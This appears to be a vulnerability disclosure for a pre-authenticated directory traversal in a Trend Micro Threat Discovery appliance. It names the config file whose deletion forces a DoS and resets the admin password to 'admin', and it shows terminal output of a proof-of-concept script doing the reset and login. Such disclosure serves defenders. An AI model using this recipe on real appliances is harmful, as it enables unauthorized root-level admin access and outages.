Summary:  
========  
  
There exists a pre-authenticated directory traversal vulnerability that allows an attacker to delete any folder or file as root.   
This can result in an attacker causing a DoS or bypassing authentication.  
  
Exploitation:  
=============  
  
An attacker can use this vulnerability to bypass the authentication by reseting the default password back to 'admin'.  
  
1. Delete the config file /opt/TrendMicro/MinorityReport/etc/igsa.conf  
2. Wait for the server to be rebooted...  
  
It is highly likely the server will be rebooted because the deletion of the config file causes a DoS condition whereby  
no-body can even login... (since the md5 hashed pw is stored in the config file).  
  
Notes:  
======  
  
- (Un)fortunately, we were not able to find a pre-authenticated way to reboot the server, hence requiring slight user interaction (or patience)  
- No username required!  
  
Example:  
========  
  
saturn:trend_micro_threat_discovery_logoff_auth_bypass mr_me$ ./poc.py   
(+) usage: ./poc.py <target> <option [reset][login]>  
(+) eg: ./poc.py 172.16.175.123 reset  
(+) eg: ./poc.py 172.16.175.123 login  
saturn:trend_micro_threat_discovery_logoff_auth_bypass mr_me$ ./poc.py 172.16.175.123 login  
(-) login failed  
saturn:trend_micro_threat_discovery_logoff_auth_bypass mr_me$ ./poc.py 172.16.175.123 reset  
(+) resetting the default password...  
(+) success! now wait for a reboot...  
saturn:trend_micro_threat_discovery_logoff_auth_bypass mr_me$ ./poc.py 172.16.175.123 login  
(+) logged in...
